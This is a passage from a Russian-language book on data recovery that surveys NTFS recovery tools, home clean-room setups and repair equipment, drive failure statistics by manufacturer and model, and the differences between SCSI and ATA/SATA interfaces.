CrashUndo 2000 — это утилита отечественного производства (http://frolov.pp.ru/projects/recovery.html#crashundo). Пожалуй, она представляет собой самый мощный восстановитель под NTFS из всех, что мне доводилось видеть. Работает даже с теми дисками, которые Windows наотрез отказывается монтировать. Использует минимум системной информации, реконструируя ссылочные структуры по их сигнатурам. CrashUndo восстанавливает файлы даже при значительных повреждениях MFT. Она реконструирует дерево каталогов, даже если одна или несколько ветвей, содержащих родительские каталоги, оказываются разрушенными.

К сожалению, пока эта утилита не продается. Если у вас возникла необходимость в восстановлении файлов из разрушенного раздела NTFS (а также FAT и FAT32), вы можете обратиться в службу восстановления данных http://www.datarecovery.ru/.

AnalizHD/DoctorHD

AnalizHD (http://www.antivirus.ru/analizhd.html) и DoctorHD (http://www.antivirus.ru/DoctorHD.html) — это еще две отечественные разработки. Они предназначены для удаленного восстановления данных по Интернету в том случае, если поблизости от вас нет ни одной мало-мальски серьезной фирмы, специализирующейся на лечении HDD.

EraseUndo for NTFS

Восстанавливает удаленные файлы, которые еще не были физически затерты на диске. Получить более подробную информацию, а также скачать демонстрационную версию программы можно по следующему адресу: http://frolov.pp.ru/projects/recovery.html#eraseundo.

Отладчики файловой системы

Отладчиками файловой системы называют утилиты, дающие доступ к святая святых файловой системы и позволяющие манипулировать ключевыми структурами данных по своему усмотрению. Чем они отличаются от простых редакторов? Редактор работает на более низком уровне — уровне блоков или секторов. Он, в принципе, может представлять некоторые структуры в наглядном виде, однако в их "физический" смысл никак не вникает.

Отладчик файловой системы работает через драйвер, поэтому испортить раздел с его помощью намного сложнее. Он реализует довольно высокоуровневые операции, такие как установка и снятие флага занятости блока, создание новой символьной ссылки и т.д. А вот "посекторного" hex-редактора отладчики файловой системы обычно не содержат, поэтому обе категории программ взаимно дополняют друг друга.

Большинство (если не все) дистрибутивов Linux включают в себя отладчик debugfs, поддерживающий ext2fs и, отчасти, ext3fs (рис. 2.18).

Рис. 2.18. Отладчик файловой системы debugfs за работой

Необходимое техническое оборудование

Непременным атрибутом серьезной фирмы была и остается "чистая комната", обеспечивающая класс чистоты 100. Это означает, что в одном кубическом футе воздуха не может содержаться более 100 пылинок размером 0,5 мкм каждая. За этими незатейливыми словами скрывается грандиозное инженерное сооружение стоимостью от 30 тыс. долларов. Конструкция типовой "чистой комнаты" показана на рис. 2.19. Менее серьезные ремонтники ограничиваются "чистой камерой", что на порядок дешевле. Однако для кустарных мастеров даже это неподъемно дорого. Можно ли обойтись без чистой комнаты или соорудить ее самостоятельно?

Рис. 2.19. Схематичное устройство типовой чистой комнаты

Вопреки распространенным слухам и опасениям — да, можно! Как минимум, достаточно обыкновенной незапыленной комнаты с работающим кондиционером, или даже без него. Кроме того, желательно обзавестись ионизатором (ионизатор вызывает слипание частичек пыли, и они, вместо того, чтобы носиться по комнате, оседают на пол, откуда их удаляет нехитрая система вентиляции). Хороший ионизатор стоит в пределах от 500 до 1000 долларов, но, при желании, его можно сконструировать и самостоятельно. Взять хотя бы ту же "Люстру Чижевского", схему которой легко найти в старых журналах "Радио", "Моделист-Конструктор" или в Интернете. Естественно, непосредственно перед проведением работ ионизатор нужно выключать.

Если вы занимаетесь ремонтом винчестеров более или менее постоянно, имеет смысл соорудить некоторое подобие чистой камеры. Для этого потребуется стеклянный аквариум, воздушный фильтр и компрессор, нагнетающий воздух внутрь аквариума и препятствующий попаданию пыли через открытую переднюю стенку. Передняя стенка при этом остается открытой! Аквариум ставится на бок, открытой стороной на себя. Сверху закрепляется стеклянная пластина, закрывающая до 2/3 поверхности, а внутрь устанавливается воздушный фильтр. Компрессор остается снаружи. Оставшаяся 1/3 закрывается другой пластинкой, после чего на несколько часов включается фильтр (точное время зависит от его пропускной способности и объема аквариума), а затем, перед началом работ, эта пластинка удаляется, предоставляя простор рукам. Невероятно дешево, но достаточно чисто. Во всяком случае, намного чище открытой жилой комнаты. Учитывая непродолжительное время вскрытия гермозоны, на пластины успевает осесть не так уж много пыли, и у вас есть все шансы считать с винчестера данные прежде, чем он окончательно прикажет долго жить.

После выполнения всех операций винчестер следует обязательно закрыть крышкой, предварительно удалив попавшие пылинки с помощью баллончика с воздухом для продувки двигателей, который можно купить в автомагазине. При длительном хранении баллончика в нем образуется конденсат, поэтому первые порции воздуха ни в коем случае не следует выпускать на восстанавливаемый диск. Кроме того, баллончик не следует встряхивать. Видеоматериал, иллюстрирующий процедуру ремонта жесткого диска, подготовленный главным инженером компании АСЕ (http://www.acelab.ru) Сергеем Яценко, можно посмотреть по следующему адресу: http://pc3k.rsu.ru/video/video03_N40P_disk_swap.avi (157 Мбайт).

Внимание!

Накопитель может находиться с открытой крышкой только при условии обеспечения надлежащего класса чистоты. Продолжительная работа с "оголенной" гермозоной вне пределов чистой камеры недопустима! Частицы пыли, присутствующие в воздухе, сталкиваясь с вращающейся пластиной, за короткий срок уничтожают магнитное покрытие (рис. 2.20). На дисках со стеклянной подложкой (например, винчестерах типа DTLA) образуется настоящий "иллюминатор".

Рис. 2.20. Для жесткого диска каждая пылинка равносильна метеориту

Но ведь при вскрытии гермоблока в него все равно попадает пыль! Разве от закрытия крышки она исчезнет? На самом деле внутри гермоблока расположен фильтр рециркуляции, активно поглощающий попавшую пыль, в результате чего ее концентрация быстро уменьшается до приемлемых значений. Если же гермоблок остается открытым, то концентрация пыли остается постоянной. Еще одна причина состоит в том, что закрепленная крышка слегка деформирует гермоблок, поэтому без нее диск может читаться нестабильно, с многократными повторами. Таким образом, установка крышки жизненно важна. Запустив утилиту, выводящую скоростную кривую на экран, попеременно подтягивайте болты, добиваясь наиболее ровного графика чтения.

Как уже говорилось, часы жизни винчестера, вскрытого вне чистой комнаты, сочтены. При этом время, требующееся для вычитки данных, — велико. Поэтому жесткий диск лучше подключать к компьютеру напрямую и, в первую очередь, считывать только самые важные данные, установив счетчик повторов чтения на значение 3x. То есть сначала читаем все, что читается само, и только затем — то, что читается с трудом.

Кроме наличия "чистой комнаты", еще одним козырем серьезных фирм являются аппаратно-программные комплексы. Наибольшую известность получили PC-3000 от АСЕ Lab (http://www.acelab.ru) и HDD Repair Tools от BVG Group (http://www.bvg-group.ru), причем HDD Repair Tools уступает PC-3000 по качеству поддержки, документации и программного обеспечения.

Что же представляют собой аппаратно-программные комплексы по восстановлению данных? С "аппаратной" точки зрения это — обыкновенный (даже слегка ущербный) контроллер IDE, поддерживающий режимы PIO и, отчасти DMA/UDMA, оборудованный встроенным электронным ключом, позволяющим подключать и отключать жесткие диски "на лету", без выключения компьютера, что очень удобно. Однако того же эффекта можно достичь, если подсоединить жесткий диск к отдельному блоку питания, а перед его выключением подать ATA-команду 94h (standby immediate). Аппаратно-программный комплекс PC-3000, установленный в компьютер, показан на рис. 2.21.

Рис. 2.21. Аппаратно-программный комплекс PC-3000, установленный в компьютер

Технологические команды, приоткрывающие дверь во внутренний мир жесткого диска, передаются либо по ATA-интерфейсу, либо через COM-терминал. Да-да! На многих моделях винчестеров имеется интегрированный COM-порт, подключившись к которому, можно контролировать процесс инициализации и управлять приводом (правда, не на всех дисках он распаян, то есть выведен на разъем). Обычного СОМ-порта, встроенного в компьютер, плюс пары переходников, которые любой радиолюбитель легко смастерит самостоятельно, для наших целей вполне достаточно. Еще в аппаратно-программных комплексах имеется возможность в любой момент подать команду RESET, что помогает в случае "зацикливания" жесткого диска. Штатные IDE-контроллеры на это не способны, но что мешает прицепить на шину IDE свою кнопку или просто замкнуть пинцетом выводы?

Зачем же тогда люди приобретают аппаратно-программные комплексы, отстегивая за них ненормальную цену? В частности, PC-3000 в полном комплекте обойдется в несколько тысяч долларов. Ответ прост — деньги платятся за поддержку и сервис! Сам по себе PC-3000 бесполезен. Однако к нему прилагается документация с подробным описанием методики восстановления различных моделей винчестеров, имеется база служебных модулей, к услугам которой приходится прибегать, если родная "служебка" отправилась к праотцам, и, наконец, в стоимость комплекса входят консультация и обучение.

Кроме того, к комплексу прилагается мощное программное обеспечение, в частности, Data Extractor, отличительной чертой которого является способность автоматического восстановления транслятора (в гл. 4 мы об этом еще поговорим), а также продуманный механизм "вычитывания" информации. Если сектор прочитался, он заносится в базу. В дальнейшем такой сектор никогда не читается с диска повторно (если только пользователь не даст команду сделать это), а всегда берется из базы.

Большинство распространенных утилит (например, GetDataBack от Runtime Software) ведут себя совсем не так. Они многократно перечитывают одни и те же сектора, особенно сектора, принадлежащие служебным областям диска, например, FAT или MFT, или даже попросту завершают свою работу при встрече с BAD-сектором. В случае логических разрушений это нормальный подход. Однако для восстановления физически поврежденных жестких дисков он непригоден. Можно, конечно, написать такую утилиту самостоятельно или доработать близкий по духу Open Source проект, можно раздобыть готовую служебку в сети или считать ее с аналогичной модели винчестера, но на все это требуется время, а времени всегда не хватает. Наличие специализированного инструментария существенно упрощает дело. Тем не менее, аппаратно-программный комплекс не панацея! Специалист, умеющий ремонтировать жесткие диски, при необходимости обойдется и без специализированного аппаратно-программного комплекса. С другой стороны, людям, не обладающим необходимыми знаниями и навыками, никакой комплекс ничем не поможет.

Из других инструментов нам, в первую очередь, понадобятся отвертки-звездочки. Для старых винчестеров — номер 10, для новых — номер 9, для 2.5-дюймовых винчестеров нужны и более мелкие номера.

Примечание

При отсутствии звездочек можно воспользоваться и обыкновенной плоской отверткой. В частности, звездочка-10 соответствует плоской-3. Под звездочку-9 отвертку придется затачивать самостоятельно. На практике, однако, пользоваться плоскими отвертками не рекомендуется — шлицы срываются, и потом их придется высверливать. Тем более что сейчас звездочки уже не проблема, и приобрести их можно в любом техническом магазине. Короче, будем считать, что я ничего вам не говорил.

Остальной инструментарий вполне стандартен. Пассатижи, плоскогубцы, пинцеты. Для перестановки "блинов" придется собрать специальный захват, устройство и приемы работы с которым наглядно продемонстрированы в уже упомянутом видеоматериале инженера компании АСЕ Lab Сергея Яценко (http://pc3k.rsu.ru/video/video03_N40P_disk_swap.avi).

В процессе ремонта вам придется демонтировать микросхемы (рис. 2.22). Для этого нужен либо строительный фен, либо паяльник плюс фантазия. Фен обойдется примерно в $50, но им еще необходимо научиться пользоваться. Ведущий инженер компании АСЕ Сергей Яценко подготовил специальный видеоматериал, демонстрирующий технику демонтажа ПЗУ с помощью паяльной станций http://pc3k.rsu.ru/video/video02_WDC_ROM.avi (13 Мбайт). Паяльная станция — это, конечно не фен, но принципы работы с ней схожи. Если фена нет, то можно обойтись паяльником с расплющенным жалом, лезвием (для демонтажа планарных микросхем) и медицинской иглой со сточенным концом (для демонтажа элементов, установленных в отверстия со сквозной металлизацией). О самом демонтаже можно прочитать в статье "Лудить, паять, кастрюли-ведра чиним" (http://www.computerra.ru/offline/1998/251/1400/).

Рис. 2.22. Техника демонтажа микросхем

Глава 3

Выбираем жесткий диск

Своему винчестеру мы доверяем самое дорогое, что у нас есть — свои данные. Мне часто приходится отвечать на вопросы моих знакомых, сформулированные примерно так: какого производителя выбрать? Какой модели отдать предпочтение? Мой ответ таков: цена и другие параметры (за исключением, может быть, издаваемого шума) важны, но не критичны. Важнейшим критерием является надежность. Выбранный вами диск не должен выйти из строя неожиданно. Разумеется, медленная деградация, сопровождающаяся посторонними скрежещущими звуками и стремительное размножение BAD-секторов не в счет, так как в данном случае любому и так понятно, что диск надо менять. Я и сам часто задаю себе тот же самый вопрос, пытаясь решить проблему надежности диска, но тщетно. У жестких дисков нет надежности. Вместо этого у них есть гарантийный талон. И это все! Даже не пытайтесь строить свои рассуждения на данных о сотнях тысяч часов наработки на отказ, приводимых в документации. Почему? Да потому, что эта информация берется фактически "с потолка", и производитель не несет за нее никакой ответственности.

Не бывает "хороших" и "плохих" производителей. С каждым брендом случались свои проколы. Независимо от производителя, из партии в тысячу дисков от одного до десяти винчестеров возвращаются задолго до истечения гарантийного срока, даже если они позиционируются как серверные модели. Все решает вероятность. Кому-то жить, а кому-то и умирать.

Правильнее было бы говорить о неудачных моделях. В качестве примера можно привести печально известную серию Fujitsu MPG, в которой использовалась микросхема Cirrus Logic с измененным составом подложки. С течением времени из-за этой подложки образовывались паразитные утечки, и практически все эти винчестеры вымерли в течение двух лет. Еще один пример — IBM DTLA (в просторечии называемый "дятлом") с неудачной конструкцией разъема гермоблока, вызывающей периодическое исчезновение контакта и, как следствие, — преждевременное прекращение операции записи. При этом, естественно, часть сектора оказывалась незаписанной. В результате этого на диске образуются виртуальные BAD-сектора, на которых нет физических дефектов, однако контрольная сумма не совпадает. Такие сектора можно прочитать, но нельзя восстановить, так как запись данных сектора не была завершена. У меня было три таких диска. Один из них отказал в течение первых двух месяцев эксплуатации. Он был успешно отремонтирован, а затем заброшен на полку в качестве экспоната. Два других таких диска успешно работают до сих пор. При этом невозможно сосчитать, сколько дисков катастрофически отказало у моих знакомых! Как уже говорилось, в этой области все решает слепая вероятность. В качестве дополнительных факторов можно указать качество блока питания, отсутствие вибраций и т.д.

Сбор статистики об отказах жестких дисков — дело затруднительное. Абсолютное количество отказов само по себе еще ни о чем не говорит. При сборе статистики необходимо учесть распространенность данной модели, а также условия эксплуатации. Считается, что диски SCSI надежнее, чем IDE. Однако эта картина наблюдается лишь потому, что диски SCSI устанавливаются в серверах и работают, практически никогда не выключаясь. Стоит учесть, что большинство отказов происходит как раз в момент включения/выключения. При этом, разумеется, для дисков SCSI не существует проблем с перегревом, и им неведома ситуация "винчестер в сумке".

На сайте фирмы Derstein, занимающейся восстановлением данных, приводится любопытная статистика зафиксированных отказов (http://www.derstein.ru/cgi-bin/stat.cgi?do=show), которую я в сокращенном виде привожу ниже. Таблица 3.1 обобщает статистику по производителям, а табл. 3.2 — по моделям.

Таблица 3.1. Статистика отказов жестких дисков по производителям

Производитель	Количество зафиксированных отказов
Fujitsu	498
IBM	393
Maxtor	210
Quantum	110
Western Digital	95
Samsung	49
Seagate	42
Conner	3

Таблица 3.2. Статистика отказов жестких дисков по моделям

Модель	Количество зафиксированных отказов
IBM (IC35L040AVER07-0) 41.0 Gb	119
Fujitsu (MPG3204AT) 20.4 Gb	83
Fujitsu (MPG3409AT) 40.9 Gb	57
Fujitsu (MPG3102AT) 10.2 Gb	54
Fujitsu (MPG3204AH) 20.4 Gb	48
IBM (DTLA 307030) 30.7 Gb	37
Fujitsu (MPG3409AH) 40.9 Gb	32
IBM (IC35L020AVER07-0) 20.5 Gb	31
Fujitsu (MPE3204AT) 20.4 Gb	29
Seagate (340016A) 40.0 Gb	28

Как видно на основании приведенных данных, наилучшим производителем оказался Samsung. При этом, я должен заметить, что лично у меня против него существует стойкое предубеждение. Отнюдь не факт, что малое количество отказов не вызвано низкой популярностью таких дисков.

Как уже говорилось, время от времени у всех производителей встречаются неудачные модели. К тому же, источник отказов зачастую располагается вне диска. Таким образом, вопрос о надежности правильнее ставить так: "Какой диск имеет наибольшие шансы на успешное восстановление?"

С этим вопросом я обратился к ведущему инженеру фирмы АСЕ Lab Сергею Яценко, через руки которого прошли тысячи дисков. На основании его ответов я и составил приведенные ниже краткие рекомендации по выбору наиболее "живучей" модели.

Список дисков, наиболее удачных с точки зрения восстановления, то есть таких, которые проще восстанавливать, составлялся с учетом следующих факторов:

□ удобство и простота подбора блока головок в случае проблем с ним;

□ практическое отсутствие самоповреждения записи;

□ сравнительно низкое количество экстремально сложных узлов.

С учетом вышеперечисленных факторов в список лидеров включаются следующие модели: Seagate, Samsung, Hitachi-IBM (HGST), Fujitsu (2.5"), и, с некоторой натяжкой, Toshiba (2.5"), хотя у последней модели существует мерзкая проблема с протеканием подшипника шпиндельного двигателя, возникающая из-за того, что крышка его не приварена, как у других моделей, а приклеена. Стоит отметить, что хотя у дисков Maxtor эта крышка тоже приклеена, с ними такой проблемы не возникает вследствие значительно большей толщины и габаритов.

Примечание

Наименования производителей перечислены в порядке увеличения проблематичности восстановления их дисков.

В списке, приведенном ниже, перечислены диски, которые, может быть, и отказывают не намного чаще представителей из первого списка, но доставляют массу неприятностей при восстановлении. Этот список тоже упорядочен по мере нарастания проблематичности:

□ Maxtor — эти диски "радуют" глючной записью и нестабильностью головок;

□ WDC — для этих дисков крайне сложно подобрать исправные головки и, в некоторых случаях, восстановить функциональность служебной зоны. Кроме того, они имеют статический транслятор, что приводит к невозможности прочитать данные пользователя в случае разрушения модулей транслятора и таблицы дефектов в служебной зоне;

□ Quantum — хотя компания, как таковая, уже не существует, диски этого производителя продолжают катастрофически отказывать. При этом после отказа они уже практически не подлежат восстановлению. Самый действенный способ восстановления, но не самый продуктивный — это заморозка. В некоторых случаях диск после заморозки при -10 °С начинает отдавать данные… Но этот трюк проходит не часто. Замена головок у них крайне затруднена. Если блок головок насчитывает 3 или большее количество головок, его замена реальна только при впечатляющих трудозатратах.

Если у кого-то стоят диски Quantum AS, можно только посоветовать избавиться от них как можно скорее. Такие производители, как Maxtor и WDC, со своими трудностями справляются, но с явной неохотой.

Естественно, объективную оценку дать сложно, но ситуация, по тому, что мы наблюдаем, обстоит так.

SCSI против SATA

Некоторые жесткие диски и оптические приводы поддерживают интерфейсы ATA или ATAPI (ATA packet interface) — то есть IDE; с другой стороны, многие модели поддерживают SCSI. Изменит ли появление интерфейса serial ATA (SATА) соотношение сил в этой области? Хотя я и не являюсь профессиональным предсказателем будущего, я все же постараюсь ответить на этот вопрос на основе сравнения функциональных возможностей этих интерфейсов.

Ожесточенные "звездные войны" вокруг интерфейсов SCSI и ATA ведутся уже давно. Последние ревизии стандарта ATA по своим функциональным возможностям вплотную приближаются к SCSI, однако до полной победы еще далеко. Дело в том, что стандарт SCSI изначально проектировался с прицелом на рынок серверов, прочно на нем обосновался, и сдавать свои позиции не собирается. Стандарт ATA, напротив, задумывался как максимальное дешевое решение для однопользовательских маломощных машин. Несмотря на все усовершенствования и нововведения последних лет он все же остается идеологически ущербным интерфейсом.

Примечание

Лично мне все эти попытки модернизации ATA напоминают попытки одинокого энтузиаста, пытающегося переделать "горбатый" Запорожец в мощный Мерседес! С другой стороны, если возможности ATA полностью соответствуют вашим потребностям, то именно на нем и стоит остановить свой выбор, отдав предпочтение перед SCSI. Зачем переплачивать за излишества, которые вам реально не нужны?

Вавилонская башня технологий

SCSI, ATA, ATAPI, IDE, EIDE… В этом ворохе аббревиатур даже матерому специалисту не так-то просто разобраться. Но мы все же попробуем!

Аббревиатура SCSI расшифровывается как Small Computer System Interface (Системный Интерфейс Малых Компьютеров). Конструктивно SCSI представляет собой интеллектуальный контроллер, интегрированный непосредственно в само периферийное устройство и поддерживающий унифицированный набор управляющих команд, общий для всех устройств данного типа. По сути своей контроллер SCSI представляет собой мини-компьютер, по мощности сопоставимый с Intel 80486. Во времена становления SCSI это решение было отчаянно смелым, и действительно являлось огромным шагом вперед. До появления стандарта SCSI всякое устройство имело свою собственную систему команд, ориентированную на выполнение элементарных операций (например, включить или выключить двигатель, прочитать индексную метку, переместить головку на следующую дорожку и т.д.). Это не только затрудняло программирование, но и требовало переделки контроллера даже при незначительных конструктивных изменениях периферийного устройства.

Устройства SCSI имеют единую схему логической адресации, независимую от физической геометрии устройства, и высокоуровневую систему команд (например, прочитать сектор или группу секторов, начать воспроизведение аудиодиска). Получив команду, устройство ставит ее в очередь и освобождает шину, а инициатор запроса (которым может быть как центральный процессор, так и другое устройство SCSI) переключается на решение другой задачи. Обработав запрос, устройство вновь повторяет захват шины и пересылает данные инициатору, уведомляя его об этом через механизм прерываний. Таким образом, шина эффективно используется несколькими устройствами, и время простоя центрального процессора сводится к минимуму.

Электрически интерфейс SCSI представляет собой либо обыкновенный многожильный кабель, либо оптоволокно. Вообще говоря, существует множество конкурирующих стандартов, подробное рассмотрение которых выходит далеко за рамки данной книги. Достаточно лишь сказать, что физическая скорость передачи данных в последних версиях стандарта SCSI полностью удовлетворяет потребности реально существующих устройств, оставляя солидный задел на будущее. Некоторые из электрических интерфейсов поддерживают длину кабеля до 25 метров и горячую замену устройств без выключения питания. Тем не менее, утверждение о том, что все диски SCSI можно заменять и переключать на лету, неверно. Более того, оно чревато смертельными для диска последствиями. Максимальное количество устройств на шине SCSI различно и варьируется от одного электрического интерфейса к другому. В среднем, к одной шине можно подключить от 7 до 15 устройств, не сильно проигрывая в скорости передачи данных.

Для подключения контроллера SCSI к центральному процессору необходимо установить весьма сложный и дорогостоящий host-контроллер SCSI, что несколько ограничивает сферу применения данного стандарта.

Аббревиатура ATA расшифровывается как Advanced Technology Attachment (интерфейс подключения накопителей), и история его возникновения тесно связна с фирмой IBM и компьютерами типа IBM AT. Для преодоления ограничений, свойственных интерфейсу подключения накопителей, использовавшему модифицированную частотную модуляцию (Modified Frequency Modulation, MFM), применявшемуся в IBM XT, компания поручила комитету T10 (http://www.t10.org) разработку нового индустриального стандарта. С этой задачей комитет справился на славу, отголоски которой дошли до наших дней, пускай и в сильно измененном виде. Впрочем, никаких революционных идей комитет не предложил, ограничившись интеграцией стандартного контроллера жесткого диска непосредственно с самим устройством, соединенным параллельным шлейфом с не менее стандартной шиной ISA. Так вот почему контроллеры ATA такие дешевые и простые! Фактически они состоят из микросхемы буферной памяти и дешифратора адреса. Разумеется, современные контроллеры ATA существенно усложнились. Однако эти усложнения не настолько существенны, чтобы вызвать сильное подорожание.

Тем не менее, даже первая версия стандарта обнаруживает много общих черт со SCSI. Это и интегрированный контроллер, и унифицированный набор команд (пусть и не такой богатый, как в SCSI), и возможность совместной работы нескольких устройств на шине. Но здесь нет ни "прозрачной" схемы адресации, ни механизма отложенного выполнения команд, ни, тем более, очереди запросов. При этом количество устройств на шине не превышает двух, причем в каждый момент времени может работать только одно устройство, а другое вынуждено ожидать освобождения шины, происходящего только после завершения цикла обмена. Передав команду на чтение сектора, процессор непрерывно опрашивает специальный порт, в котором устройство выставляет флаг готовности данных, пословно считываемый процессором через порт ввода/вывода. Впрочем, в однозадачных системах тех дней это не казалось дикостью, ведь переключиться на выполнение другой задачи процессор все равно не мог, поскольку задача была всего одна.

Между тем, аппаратные мощности процессоров непрерывно росли, и на IBM PC начали возникать первые многозадачные системы. Как следствие, во второй ревизии стандарта, получившей кодовое наименование ATA-2, появилась поддержка режима DMA. Теперь, передав команду на чтение сектора, процессор мог спокойно переключаться на другую задачу, перекладывая заботу о дисковой подсистеме на контроллер ATA. В последующих ревизиях скорость передачи по физическому интерфейсу увеличилась до 100 Мбайт/с. Кроме того, появилась прозрачная логическая адресация (а вместе с ней — и поддержка жестких дисков большого объема). Наконец, было введено расширение ATA, получившее называние ATAPI (ATA Packet Interface — пакетный интерфейс ATA), реализующее ту же самую схему обмена командными пакетами, что и SCSI.

Кстати говоря, операционные системы семейства Windows абстрагируются от особенностей конкретного интерфейса, всегда работая с устройствами ATA как со SCSI. Специальный компонент системы, называемый SCSIlizer, автоматически транслирует запросы SCSI в команды накопителя ATA, что значительно упрощает его программирование. К сожалению, всеми преимуществами истинного SCSI воспользоваться так и не удается, в частности, отсутствует возможность прямого обмена данными между накопителями ATA, и приходится гонять их через центральный процессор.

Последние версии ATA обеспечивают контроль целостности передачи по интерфейсному кабелю, значительно увеличивая его пропускную способность, и содержат некоторое подобие планировщика. Однако воспользоваться им все равно не удается, поскольку наличие второго устройства на шине многократно уменьшает скорость передачи данных. Для достижения адекватной производительности каждое устройство должно быть подключено к своему контроллеру, а таких контроллеров на подавляющем большинстве материнских плат всего два.

Интерфейс SATA (Serial ATA — последовательный ATA) представляет собой дальнейшее развитие интерфейса ATA (IDE), который после появления SATA был переименован в PATA (Parallel ATA). Теперь вместо широкого шлейфа используется тонкий кабель, соединяющий единственное устройство со своим портом. Максимальная длина кабеля и скорость передачи существенно увеличены, однако на жизни большинства пользователей это никак не отражается, поскольку и прежняя длина кабеля в большинстве случаев была вполне достаточной. Что касается скорости передачи данных, то винчестеры не в полной мере использовали даже ту пропускную способность, которая была предусмотрена предыдущей ревизией ATA. Количество подключаемых устройств по-прежнему невелико (один SATA-порт — одно SATA-устройство, а таких портов на материнских платах раз-два и обчелся). В общем, со SCSI этому интерфейсу не тягаться. Правда, появилась возможность горячей замены дисков, но для домашних компьютеров она не столь уж критична.

Примечание

Если же оставить технические подробности в стороне и взглянуть на SATA с этической точки зрения, то худшего интерфейса, вероятно, не существует в природе. Разработка SATA велась и ведется закрытым сообществом SATA-IO (Serial ATA International Organization — Международная организация Serial ATA). По этой причине и сам стандарт SATA является закрытым (см. https://www.sata-io.org/secure/spec_download.asp). Таким образом, подробная техническая документация доступна только членам данного сообщества. В открытом доступе находится лишь устаревшая информация, а современные и актуальные ревизии доступны для бесплатного скачивания лишь членам SATA-IO. Тем не менее, никто не сомневается, что будущее принадлежит SATA. Как утверждает Хэйл Лэндис (Hale Landis), "секретное общество" вынашивает планы по замене SCSI. Иначе говоря, впереди нас ждет сплошной мрак. Заинтересованным читателям можно порекомендовать следующую ссылку: http://www.ata-atapi.com/sata.htm.

Аббревиатура IDE расшифровывается как Integrated Device Electronic (Интегрированное Электронное Устройство) и де-факто является синонимом ATA, хотя в девичестве обозначало не более, чем интеграцию устройства с контроллером. На сегодняшний день эта аббревиатура переродилась в торговую марку, практически полностью вытеснившую из употребления аббревиатуру ATA.

Примечание

На сайте http://www.ata-atapi.com недвусмысленно утверждается, что ATA и ATAPI — это действительные имена интерфейсов массовых дисковых накопителей, часто называемые IDE и EIDE соответственно. IDE и EIDE, главным образом, используются продавцами, которые не ведают, чем торгуют, и журналистами, которые сами не знают, о чем пишут. Вот и дословная цитата: "ATA and ATAPI are the real names for the mass storage device interface that is frequently called IDE and EIDE. IDE and EIDE are mostly used by marketing people who do not know what they are selling and by writers for magazines who do not know what they are writing about".

Смертельная схватка

Основной недостаток интерфейсов ATA/SATA, который до сих пор не преодолен, — это ограниченное количество подключаемых устройств. До тех пор, пока вы довольствуетесь одним жестким диском и одним приводом CD/DVD-ROM, никаких проблем не возникает, но если вы захотите подключить два винчестера, один CD-ROM, один CD-RW и один DVD-ROM, то мне остается только вам посочувствовать.

Дисковые массивы, состоящие из нескольких винчестеров, на контроллерах ATA не могут быть реализованы в принципе, так как каждое устройство требует своего контроллера, а каждый контроллер — своего IRQ и канала DMA. К тому же, отсутствие полнофункционального планировщика отрицательно сказывается на производительности дисковой подсистемы (особенно на беспорядочных запросах) и усложняет ее программирование. Дело в том, что при возникновении какой бы то ни было ошибки вся очередь сбрасывается, а это значит, что инициатору запросов требуется хранить ее копию, тщательно отслеживая все изменения. Короче говоря, нормальных контроллеров RAID нет ни под ATA, ни под SATA-накопители, и, по-видимому, никогда не будет. Модели, представленные на рынке, сильно напоминают пионерские разработки, созданные впопыхах, и содержат большое количество фатальных ошибок, часто приводящих к необратимой порче данных. Пользоваться им даже в домашних целях категорически не рекомендуется. Разумеется, никакие физические законы не препятствуют созданию правильного контроллера RAID с поддержкой ATA/SATA. Однако фирмы-производители просто не хотят вкладывать деньги в эту разработку, и не сделают этого до тех пор, пока в ATA/SATA не появится полноценный планировщик очереди запросов.

С другой стороны, для подключения устройств SCSI требуется приобрести весьма дорогостоящий хост-контроллер (нормальные контроллеры стоят от 100 долларов, те же, что интегрированы в материнские платы, в большинстве своем оставляют довольно мрачные впечатления). Причем различных электрических интерфейсов у SCSI намного больше, чем у ATA, и они намного хуже совместимы. Процедура подключения устройства тоже не из легких, а перемычек на плате контроллера намного больше одной. Неправильно же выставленные перемычки могут стоить жизни и устройству, и контроллеру. Установка драйверов SCSI практически никогда не обходится без танцев с бубном, и многие из этих драйверов содержат ошибки, приводящие к порче всех хранящихся данных. Словом, пытаться настроить устройство SCSI без надлежащей подготовки могут только самоубийцы.

Резюме

Для домашнего использования (если только количество подключенных устройств не очень велико) лучше всего использовать накопители ATA/SATA. То же самое относится и к серверам, обслуживающих локальные сети небольших организаций. Для высокопроизводительных рабочих станций и серверов с внушительными дисковыми массивами однозначно выбирают SCSI.

Глава 4

Ремонт жестких дисков

Прежде чем затрагивать логические разрушения, например, непреднамеренное форматирование или удаление файлов (обсуждению которых в основном и посвящена данная книга), рассмотрим методику восстановления данных после аппаратных отказов жестких дисков. Сделать это абсолютно необходимо, поскольку выполнение этих операций — это вопрос жизни и смерти вашего жесткого диска.

Введение

Объемы жестких дисков стремительно растут, а их надежность неуклонно падает. С одной стороны, поджимает плотность записи, с другой — конкуренция. Повсеместно применяются дешевые комплектующие и "сырые" технические решения, обкатывать которые приходится потребителям. Залог безопасности данных — ежедневное резервирование (тем более что современные съемные носители это позволяют). Однако, несмотря на это, даже продвинутые специалисты часто пренебрегают этой рекомендацией, ведь все "и так работает"…

После отказа винчестера данные практически всегда можно восстановить, если действовать по плану. Если же плана нет, от "врачевания" лучше сразу же отказаться. Неумелые попытки только затрудняют процедуру восстановления, а иногда и делают ее совершенно невозможной. Сотрудники сервис- центров настоятельно отговаривают пользователей от самостоятельного ремонта, а за ослушание карают либо удвоенной (утроенной) ценой, либо же отказываются от восстановления. И делают они это совсем не потому, что боятся, что клиент сможет обойтись без их помощи! Жесткие диски — очень сложные устройства. Это не радиоприемники или прочие бытовые устройства, которые часто можно отремонтировать и без специализированных знаний!

У работников сервисного центра есть специализированное оборудование, накопленные знания и опыт. Через их руки прошли десятки тысяч винчестеров, поэтому шансы на успешное восстановление данных здесь намного выше, чем у простого программиста или администратора, рыдающего над убитым диском. Это — теоретически. Практически же... Цена за восстановление зачастую переходит все границы, причем никаких гарантий на благоприятный исход все равно нет. Известно немало случаев, когда "кустари-одиночки" бесплатно восстанавливали винчестеры, угробленные "специалистами" сервис-центров. А для жителей глубинки никакие "центры" вообще не доступны, и им приходится рассчитывать только на себя.

